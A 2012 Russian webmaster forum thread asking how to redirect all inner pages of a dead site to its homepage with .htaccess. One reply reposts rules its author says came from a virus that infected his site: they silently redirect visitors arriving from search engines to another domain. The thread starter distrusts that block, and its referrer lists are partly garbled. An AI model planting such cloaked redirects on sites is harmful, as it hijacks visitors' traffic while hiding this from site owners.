Собственно есть небольшой сайт. Теперь его нет, остался только домен с мордой (все внутренние страницы удалены). Но ещё часто бывают переходы как раз на внутренние страницы.
Что прописать в .htaccess, чтобы при переходе на любую внутреннюю страницу шёл редирект на морду?
- 12.06.2012 03:04
Banochkin.com — веду блог, создаю и продвигаю сайты.
Контакты. - 12.06.2012 03:09
- Регистрация: 12.06.2012
- Сообщений: 14
- Репутация: 0
ErrorDocument 404 http://sitеname.ru
или так...
вот эту технологию я "украл" у вируса, который заразил мой сайт.
# направим всех с поисковиков на нужный нам сайт, (site.ru) а кто заходит прямо на сайт - пусть тоже видит site.ru/index.html
SetEnvIf REMOTE_ADDR [IP] REDIR="redir"
RewriteCond %{REDIR} redir
RewriteRule ^/$ [http://site.ru/]
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|mail|yan dex|rambler|ya|aport|linkedin|flickr|nigma|liveint ernet|vkontakte|webalta|filesearch|yell|openstat|m etabot|nol9|zoneru|km|gigablast|entireweb|amfibi|d moz|yippy|search|walhello|webcrawler|jayde|findwha t|teoma|euroseek|wisenut|about|thunderstone|ixquic k|terra|lookle|metaeureka|searchspot|slider|topsev en|allthesites|libero|clickey|galaxy|brainysearch| pocketflier|verygoodsearch|bellnet|freenet|firebal l|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar| suchnase|schnellsuche|sharelook|sucharchiv|suchbie ne|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://site.ru/ [R=permanent,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang e|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|te lfort|hispavista|passagen|spray|eniro|telia|bluewi n|sympatico|nlsearch|atsearch|klammeraffe|shareloo k|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|d affodil|click4choice|exalead|findelio|gasta|gimpsy |globalsearchdirectory|hotfrog|jobrapido|kingdomse ek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan |qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|ex press|bestireland|browseireland|finditireland|iese arch|ireland-information|kompass|startsiden|confex|finnalle|gul esider|keyweb|finnfirma|kvasir|savio|sol|startside n|allpages|america|botw|chapu|claymont|clickz|clus h|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://site.ru/ [R=permanent,L]
</IfModule>Последний раз редактировалось valnick; 12.06.2012 в 03:22. Причина: добавил материал
- 12.06.2012 03:14
- Регистрация: 10.06.2012
- Сообщений: 40
- Репутация: 3
- 12.06.2012 10:38
Собрав по кускам из разных источников, у меня получился такой код, учитывает адреса с www и без, а так же все внутренние и перенаправляет на новый домен, не знаю на сколько код оптимален, но работает:
Код:RewriteEngine on RewriteCond %{HTTP_HOST} ^www.старый-домен.ru [NC] RewriteRule ^(.*)$ http://старый-домен.ru/$1 [L,R=301] RewriteCond %{HTTP_HOST} ^старый-домен\.ru RewriteCond %{QUERY_STRING} !=»" RewriteCond %{QUERY_STRING} !^q=.* RewriteRule ^(.*)$ http://новый-домен.ru/? [R=301,L]
Удобный мониторинг позиций | Лучший VPS хостинг, с беспл. админ. | Биржа контента без комиссии - 14.06.2012 07:36
Эм. Что? Ребят, собрали хрен пойми что...
valnick, такое я побоюсь куда то ставить. Ты хоть сам понимаешь что там?
IceHotTea, это не редирект. В таком случае если я введу сайт.ру/ололо.html, то страница откроется, но будет отображаться то, что на главной странице. А мне редирект со всех страниц нужен на главную.
earnkz,тоже непонятно что у тебя. непонятный набор настроек.Banochkin.com — веду блог, создаю и продвигаю сайты.
Контакты. - 21.06.2012 16:46
- Регистрация: 21.06.2012
- Сообщений: 31
- Репутация: 0
И просто вроде, и сложно... :) Когда-то делали мне такое...
Код HTML:Может так?Redirect 301 / http://sayt.ru/
Последний раз редактировалось KosmoBoy; 21.06.2012 в 16:49.
- 21.06.2012 21:56
- Регистрация: 21.06.2012
- Сообщений: 31
- Репутация: 0
Извините, поздно подумал...
Скорее так:Код HTML:Звёздочка после "/" означает, что любой адрес страницы кроме главной. Я так понимаю. Но на опыте надо проверить, конечно, чтоб не получилось "кругового" редиректа. В первом варианте, скорее всего, так и получится...Redirect 301 /* http://sayt.ru/
Но исправить первый свой пост я уже не имею прав...
Тэги топика:
Похожие темы
Темы | Раздел | Ответов | Последний пост |
---|---|---|---|
Редирект с помошью .htaccess. Помогите. | Софт, скрипты, сервисы | 5 | 13.12.2011 22:23 |
htaccess правильный 301 редирект | Web программирование | 4 | 14.09.2011 08:00 |
.htaccess - редирект с главной на форум | Прочее | 2 | 01.05.2011 15:45 |
редирект через /htaccess | Прочее | 3 | 19.09.2009 22:30 |
.htaccess редирект | Прочее | 9 | 11.09.2009 21:48 |